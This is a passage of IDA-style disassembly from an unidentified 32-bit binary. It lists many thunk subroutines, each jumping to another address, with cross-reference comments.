; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE5F	proc near		; CODE XREF: sub_13B1B90+A46p
					; sub_13B1B90+ED7p
		jmp	sub_13B3890
sub_13ABE5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE64	proc near
		jmp	sub_13D07F0
sub_13ABE64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE69	proc near		; CODE XREF: sub_13C7C40+1ADp
		jmp	sub_13D6C30
sub_13ABE69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE6E	proc near		; CODE XREF: sub_13CA940+191p
					; sub_13CCBD0+3p
		jmp	sub_13CABD0
sub_13ABE6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE73	proc near
		jmp	sub_13D9410
sub_13ABE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE78	proc near		; CODE XREF: sub_13CC9F0+5p
		jmp	sub_13CCB60
sub_13ABE78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE7D	proc near		; CODE XREF: sub_13C1140+11Ap
		jmp	sub_13C2510
sub_13ABE7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE82	proc near		; CODE XREF: sub_13B1620+5p
					; sub_13B1710+6p ...
		jmp	sub_13B1860
sub_13ABE82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE87	proc near		; CODE XREF: sub_13AD8E0+90p
					; sub_13AF070+40Fp ...
		jmp	sub_13B4AA0
sub_13ABE87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE8C	proc near		; CODE XREF: sub_13C7C40+2FFp
					; sub_13C9340+52Fp
		jmp	sub_13CA1A0
sub_13ABE8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE91	proc near
		jmp	sub_13D9C60
sub_13ABE91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE96	proc near		; CODE XREF: sub_13BF8A0+1Fp
		jmp	sub_13C01E0
sub_13ABE96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABE9B	proc near		; CODE XREF: sub_13AD8E0+E5p
					; sub_13B4270+Fp ...
		jmp	sub_13B41A0
sub_13ABE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEA0	proc near
		jmp	near ptr 13DDB30h
sub_13ABEA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEA5	proc near
		jmp	near ptr 13DD8A0h
sub_13ABEA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEAA	proc near
		jmp	sub_13CCAD0
sub_13ABEAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEAF	proc near
		jmp	sub_13D0E30
sub_13ABEAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEB4	proc near		; CODE XREF: sub_13CF2B0+E5p
					; sub_13CF2B0+120p
		jmp	sub_13CF160
sub_13ABEB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEB9	proc near
		jmp	sub_13BC3F0
sub_13ABEB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEBE	proc near
		jmp	sub_13C9EA0
sub_13ABEBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEC3	proc near		; CODE XREF: sub_13B14F0+Bp
		jmp	sub_13B16D0
sub_13ABEC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEC8	proc near
		jmp	near ptr 13DCFC0h
sub_13ABEC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABECD	proc near
		jmp	sub_13B5CD0
sub_13ABECD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABED2	proc near		; CODE XREF: sub_13AE2E0+2Bp
					; sub_13AE2E0+3Bp ...
		jmp	sub_13AE110
sub_13ABED2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABED7	proc near		; CODE XREF: sub_13BD920+66p
					; sub_13BD920+CAp ...
		jmp	sub_13BFA60
sub_13ABED7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEDC	proc near
		jmp	sub_13C5B90
sub_13ABEDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEE1	proc near		; CODE XREF: sub_13C28A0+203p
		jmp	sub_13CCC00
sub_13ABEE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEE6	proc near		; CODE XREF: sub_13C0DA0+19Bp
		jmp	sub_13B5570
sub_13ABEE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEEB	proc near		; CODE XREF: sub_13CBA30+144p
					; sub_13CBA30+17Ep
		jmp	sub_13CB9E0
sub_13ABEEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEF0	proc near		; CODE XREF: sub_13AEFE0+15p
		jmp	sub_13B14F0
sub_13ABEF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEF5	proc near
		jmp	sub_13C44F0
sub_13ABEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEFA	proc near		; CODE XREF: sub_13C1140+1DFp
		jmp	sub_13C2D10
sub_13ABEFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABEFF	proc near
		jmp	sub_13B6EF0
sub_13ABEFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF04	proc near
		jmp	sub_13D4190
sub_13ABF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF09	proc near		; CODE XREF: sub_13C13C0+28p
		jmp	sub_13C2CA0
sub_13ABF09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF0E	proc near
		jmp	near ptr dword_13DBDB0+90h
sub_13ABF0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF13	proc near		; CODE XREF: sub_13DA370+Bp
					; sub_13DA690+16p
		jmp	sub_13DA7F0
sub_13ABF13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF18	proc near		; CODE XREF: sub_13C28A0+2AAp
		jmp	sub_13B52A0
sub_13ABF18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF1D	proc near		; CODE XREF: sub_13C3060+2Bp
					; sub_13C32A0+28p ...
		jmp	sub_13C3360
sub_13ABF1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF22	proc near
		jmp	sub_13D5910
sub_13ABF22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF27	proc near		; CODE XREF: sub_13C0DA0+EBp
		jmp	sub_13C1DE0
sub_13ABF27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF2C	proc near		; CODE XREF: sub_13B1B90+F7Cp
					; sub_13B1B90+F9Dp ...
		jmp	sub_13B1A60
sub_13ABF2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF31	proc near
		jmp	sub_13BEF00
sub_13ABF31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF36	proc near		; CODE XREF: sub_13C6A20+83p
					; sub_13D26E0+3Fp
		jmp	sub_13C7950
sub_13ABF36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF3B	proc near		; CODE XREF: sub_13C4CA0+11p
		jmp	sub_13C4CD0
sub_13ABF3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF40	proc near		; CODE XREF: sub_13C8A70+339p
		jmp	sub_13CC020
sub_13ABF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF45	proc near		; CODE XREF: sub_13BF080+3p
		jmp	sub_13BF0B0
sub_13ABF45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF4A	proc near
		jmp	near ptr 13DD0C0h
sub_13ABF4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF4F	proc near		; CODE XREF: sub_13D9EC0+29p
		jmp	sub_13D9960
sub_13ABF4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF54	proc near		; CODE XREF: sub_13BA1B0+38p
		jmp	sub_13BCFD0
sub_13ABF54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF59	proc near		; CODE XREF: sub_13C28A0+112p
		jmp	sub_13B7990
sub_13ABF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF5E	proc near		; CODE XREF: sub_13B1A60+3Bp
					; sub_13B1AF0+43p
		jmp	sub_13B5830
sub_13ABF5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF63	proc near		; CODE XREF: sub_13B16D0+3p
		jmp	sub_13B18A0
sub_13ABF63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF68	proc near		; CODE XREF: sub_13CEC60+9Dp
					; sub_13CEC60+FBp ...
		jmp	sub_13CEA10
sub_13ABF68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF6D	proc near
		jmp	sub_13CFFF0
sub_13ABF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF72	proc near		; CODE XREF: sub_13BA370+413p
					; sub_13BA370+F69p ...
		jmp	sub_13B4360
sub_13ABF72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF77	proc near		; CODE XREF: sub_13CF830+64p
		jmp	sub_13CF900
sub_13ABF77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF7C	proc near		; CODE XREF: sub_13CC460+32p
		jmp	sub_13CC820
sub_13ABF7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF81	proc near		; CODE XREF: sub_13C58C0+A5p
		jmp	sub_13C4AE0
sub_13ABF81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF86	proc near		; CODE XREF: sub_13B6360+23p
					; sub_13B6520+11p
		jmp	sub_13B66C0
sub_13ABF86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF8B	proc near		; CODE XREF: sub_13D5C50+3p
		jmp	sub_13D5C80
sub_13ABF8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF90	proc near		; CODE XREF: sub_13C28A0+25Ep
		jmp	sub_13C8550
sub_13ABF90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF95	proc near
		jmp	near ptr dword_13DB8B8+1B8h
sub_13ABF95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABF9A	proc near		; CODE XREF: sub_13B3930+20p
		jmp	sub_13B3A00
sub_13ABF9A	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFA4	proc near
		jmp	sub_13B6FB0
sub_13ABFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFA9	proc near
		jmp	sub_13DADF0
sub_13ABFA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFAE	proc near		; CODE XREF: sub_13CBFE0+1Fp
		jmp	sub_13CC3C0
sub_13ABFAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFB3	proc near		; CODE XREF: sub_13D1940+39p
		jmp	sub_13D1500
sub_13ABFB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFB8	proc near		; CODE XREF: sub_13BFB40+5p
					; sub_13BFD40+6p ...
		jmp	sub_13C0790
sub_13ABFB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFBD	proc near		; CODE XREF: sub_13DA690+63p
					; sub_13DA7F0+5Dp
		jmp	sub_13DA8F0
sub_13ABFBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFC2	proc near
		jmp	sub_13DB020
sub_13ABFC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFC7	proc near		; CODE XREF: sub_13CFFF0+1D2p
		jmp	sub_13D0DC0
sub_13ABFC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFCC	proc near		; CODE XREF: sub_13C57E0+3p
		jmp	sub_13C5810
sub_13ABFCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFD1	proc near		; CODE XREF: sub_13D2640+3p
		jmp	sub_13D2670
sub_13ABFD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFD6	proc near		; CODE XREF: sub_13CCE50+92Ap
					; .idata:013CE49Ap
		jmp	sub_13CFD00
sub_13ABFD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFDB	proc near		; CODE XREF: sub_13D76E0+18Dp
					; sub_13D76E0+1CDp ...
		jmp	sub_13D83F0
sub_13ABFDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFE0	proc near		; CODE XREF: sub_13BE640+3Cp
		jmp	sub_13BE770
sub_13ABFE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFE5	proc near		; CODE XREF: sub_13C28A0+28Ap
		jmp	sub_13B6760
sub_13ABFE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFEA	proc near		; CODE XREF: sub_13CF440+8Bp
		jmp	sub_13CEC60
sub_13ABFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFEF	proc near		; CODE XREF: sub_13B54B0+6Ep
					; sub_13B5570+34p ...
		jmp	sub_13B61D0
sub_13ABFEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFF4	proc near		; CODE XREF: sub_13B54B0+5Cp
		jmp	sub_13B6070
sub_13ABFF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFF9	proc near
		jmp	near ptr 13DCBE0h
sub_13ABFF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13ABFFE	proc near
		jmp	near ptr dword_13DB520+20h
sub_13ABFFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC003	proc near		; CODE XREF: sub_13DAEF0+20p
					; sub_13DB020+20p
		jmp	sub_13DAAB0
sub_13AC003	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC008	proc near
		jmp	sub_13D9150
sub_13AC008	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC00D	proc near		; CODE XREF: sub_13C28A0+253p
		jmp	near ptr 13DEBD0h
sub_13AC00D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC012	proc near		; CODE XREF: sub_13BDBF0+84p
		jmp	near ptr 13DDD60h
sub_13AC012	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC017	proc near		; CODE XREF: sub_13D6280+678p
		jmp	sub_13D5480
sub_13AC017	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC01C	proc near		; CODE XREF: sub_13D4C30+446p
		jmp	sub_13D4A10
sub_13AC01C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC021	proc near
		jmp	sub_13C5A30
sub_13AC021	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC026	proc near
		jmp	near ptr dword_13DBDB0+130h
sub_13AC026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC02B	proc near
		jmp	sub_13D2410
sub_13AC02B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC030	proc near
		jmp	sub_13CA090
sub_13AC030	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC035	proc near		; CODE XREF: sub_13C53F0+8p
					; sub_13C57A0+Dp ...
		jmp	sub_13C4420
sub_13AC035	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC03A	proc near		; CODE XREF: sub_13D4520+3p
		jmp	sub_13D4550
sub_13AC03A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC03F	proc near
		jmp	sub_13C5190
sub_13AC03F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC044	proc near
		jmp	sub_13C0DA0
sub_13AC044	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC049	proc near		; CODE XREF: sub_13B6190+1Fp
		jmp	sub_13B62C0
sub_13AC049	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC04E	proc near		; CODE XREF: sub_13BFE10+9p
					; sub_13BFF30+18p
		jmp	sub_13C09E0
sub_13AC04E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC053	proc near		; CODE XREF: sub_13C3060+4p
		jmp	sub_13C3380
sub_13AC053	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC058	proc near		; CODE XREF: sub_13B1770+11p
					; sub_13B1770+27p ...
		jmp	sub_13B1920
sub_13AC058	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC05D	proc near		; CODE XREF: sub_13AF070+111p
					; sub_13AF070+ECDp ...
		jmp	sub_13B45F0
sub_13AC05D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC062	proc near		; CODE XREF: sub_13BD530+7Ap
					; sub_13BD630+3Cp ...
		jmp	sub_13BFBF0
sub_13AC062	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC067	proc near
		jmp	sub_13D8DE0
sub_13AC067	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC06C	proc near		; CODE XREF: sub_13CFAD0+6Ep
		jmp	sub_13CFC40
sub_13AC06C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC071	proc near		; CODE XREF: sub_13B5920+2Fp
					; sub_13B5920+6Ep ...
		jmp	sub_13B6160
sub_13AC071	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC076	proc near		; CODE XREF: sub_13D9150+58p
					; sub_13D9150+6Dp ...
		jmp	near ptr 13DD0E0h
sub_13AC076	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC07B	proc near		; CODE XREF: sub_13BF780+11p
					; sub_13C01E0+1Fp
		jmp	sub_13C03D0
sub_13AC07B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC080	proc near
		jmp	sub_13C7C40
sub_13AC080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC085	proc near
		jmp	sub_13C3D20
sub_13AC085	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC08A	proc near		; CODE XREF: sub_13B1770+9p
					; sub_13C3190+18p
		jmp	sub_13B19C0
sub_13AC08A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC08F	proc near		; CODE XREF: sub_13BD600+3p
					; sub_13C0DA0+1ABp
		jmp	sub_13BD630
sub_13AC08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC094	proc near
		jmp	sub_13B5C10
sub_13AC094	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC099	proc near
		jmp	sub_13C10A0
sub_13AC099	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0A3	proc near		; CODE XREF: sub_13C1140+13Ap
		jmp	sub_13C25C0
sub_13AC0A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0A8	proc near		; CODE XREF: sub_13BFEB0+Cp
					; sub_13BFEB0+43p
		jmp	sub_13C09B0
sub_13AC0A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0AD	proc near		; CODE XREF: sub_13B3A00+45p
		jmp	sub_13B3CE0
sub_13AC0AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0B2	proc near
		jmp	near ptr 13DD560h
sub_13AC0B2	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0BC	proc near		; CODE XREF: sub_13BA370+3A4p
		jmp	sub_13B4400
sub_13AC0BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0C1	proc near		; CODE XREF: sub_13B1B90+64Cp
					; sub_13B1B90+6F3p ...
		jmp	sub_13B1AF0
sub_13AC0C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0C6	proc near		; CODE XREF: sub_13BF830+16p
					; sub_13BF870+Bp ...
		jmp	sub_13C04A0
sub_13AC0C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0CB	proc near		; CODE XREF: sub_13B3A00+144p
		jmp	sub_13B3D70
sub_13AC0CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0D0	proc near		; CODE XREF: sub_13AEA40+1C2p
					; sub_13AEF10+36p ...
		jmp	sub_13BD7E0
sub_13AC0D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0D5	proc near		; CODE XREF: sub_13BF500+34p
					; sub_13BFF30+67p
		jmp	sub_13C00D0
sub_13AC0D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0DA	proc near		; CODE XREF: sub_13C28A0+2C2p
		jmp	sub_13B3EA0
sub_13AC0DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0DF	proc near
		jmp	sub_13CA010
sub_13AC0DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0E4	proc near
		jmp	sub_13D84D0
sub_13AC0E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0E9	proc near		; CODE XREF: sub_13B6290+5p
		jmp	sub_13B64F0
sub_13AC0E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0EE	proc near
		jmp	sub_13D9650
sub_13AC0EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0F3	proc near		; CODE XREF: sub_13CC160+11p
					; sub_13CC160+27p ...
		jmp	sub_13CC710
sub_13AC0F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0F8	proc near
		jmp	sub_13BD600
sub_13AC0F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC0FD	proc near		; CODE XREF: sub_13BFBB0+1Fp
		jmp	sub_13C0530
sub_13AC0FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC102	proc near		; CODE XREF: sub_13B9A10+1ACp
					; sub_13B9A10+1EDp ...
		jmp	sub_13B99A0
sub_13AC102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC107	proc near		; CODE XREF: sub_13BE1B0+15Cp
		jmp	sub_13BE4A0
sub_13AC107	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC10C	proc near		; CODE XREF: sub_13AF020+23p
					; sub_13BA370+13C2p
		jmp	sub_13BCF30
sub_13AC10C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC111	proc near		; CODE XREF: sub_13C1140+FFp
		jmp	sub_13C2460
sub_13AC111	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC116	proc near		; CODE XREF: sub_13B1940+7p
					; sub_13B6600+7p ...
		jmp	sub_13B19E0
sub_13AC116	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC11B	proc near		; CODE XREF: sub_13B4C10+1Ap
					; sub_13B4CC0+4p ...
		jmp	sub_13B4C80
sub_13AC11B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC120	proc near		; CODE XREF: sub_13AEA40+289p
					; sub_13AEA40+2ADp ...
		jmp	sub_13B44A0
sub_13AC120	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC125	proc near
		jmp	sub_13D96D0
sub_13AC125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC12A	proc near
		jmp	sub_13D26E0
sub_13AC12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC12F	proc near
		jmp	sub_13D8AA0
sub_13AC12F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC134	proc near		; CODE XREF: sub_13C28A0+C0p
		jmp	sub_13AE3C0
sub_13AC134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC139	proc near		; CODE XREF: sub_13BC3F0+123p
					; sub_13BC3F0+1E2p
		jmp	sub_13BCAC0
sub_13AC139	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC13E	proc near
		jmp	sub_13C5880
sub_13AC13E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC143	proc near
		jmp	sub_13B5B90
sub_13AC143	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC148	proc near		; CODE XREF: sub_13CC090+5p
		jmp	sub_13CC5F0
sub_13AC148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC14D	proc near		; CODE XREF: sub_13C0280+5Fp
		jmp	sub_13C0AA0
sub_13AC14D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC152	proc near		; CODE XREF: sub_13C7C40+2C7p
		jmp	sub_13D8E60
sub_13AC152	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC157	proc near		; CODE XREF: sub_13C2FB0+7p
		jmp	sub_13C3250
sub_13AC157	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC15C	proc near		; CODE XREF: sub_13BDA80+5Dp
					; sub_13BDA80+9Bp ...
		jmp	sub_13BF750
sub_13AC15C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC161	proc near
		jmp	near ptr 13E04C0h
sub_13AC161	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC166	proc near		; CODE XREF: sub_13BFB40+16p
					; sub_13BFB80+Bp ...
		jmp	sub_13C07F0
sub_13AC166	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC16B	proc near
		jmp	sub_13B5C80
sub_13AC16B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC170	proc near
		jmp	sub_13DAA80
sub_13AC170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC175	proc near		; CODE XREF: sub_13CBF70+16p
					; sub_13CBFB0+Bp ...
		jmp	sub_13CC5C0
sub_13AC175	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC17A	proc near
		jmp	sub_13D6C00
sub_13AC17A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC17F	proc near		; CODE XREF: sub_13C28A0+1F8p
		jmp	sub_13C67A0
sub_13AC17F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC184	proc near		; CODE XREF: sub_13C2DC0+16p
					; sub_13C2E00+Bp ...
		jmp	sub_13C3130
sub_13AC184	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC189	proc near		; CODE XREF: sub_13BDA80+53p
					; sub_13BDA80+91p ...
		jmp	sub_13BF5B0
sub_13AC189	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC18E	proc near		; CODE XREF: sub_13CCE50+5Ep
		jmp	sub_13CFCC0
sub_13AC18E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC193	proc near		; CODE XREF: sub_13CCE50+192p
		jmp	sub_13CFBC0
sub_13AC193	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC19D	proc near		; CODE XREF: sub_13D2460+81p
		jmp	sub_13D1EF0
sub_13AC19D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AC1A2	proc near		; CODE XREF: sub_13BFA90+11p
					; sub_13C0530+1Fp
		jmp	sub_13C0720
sub_13AC1A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


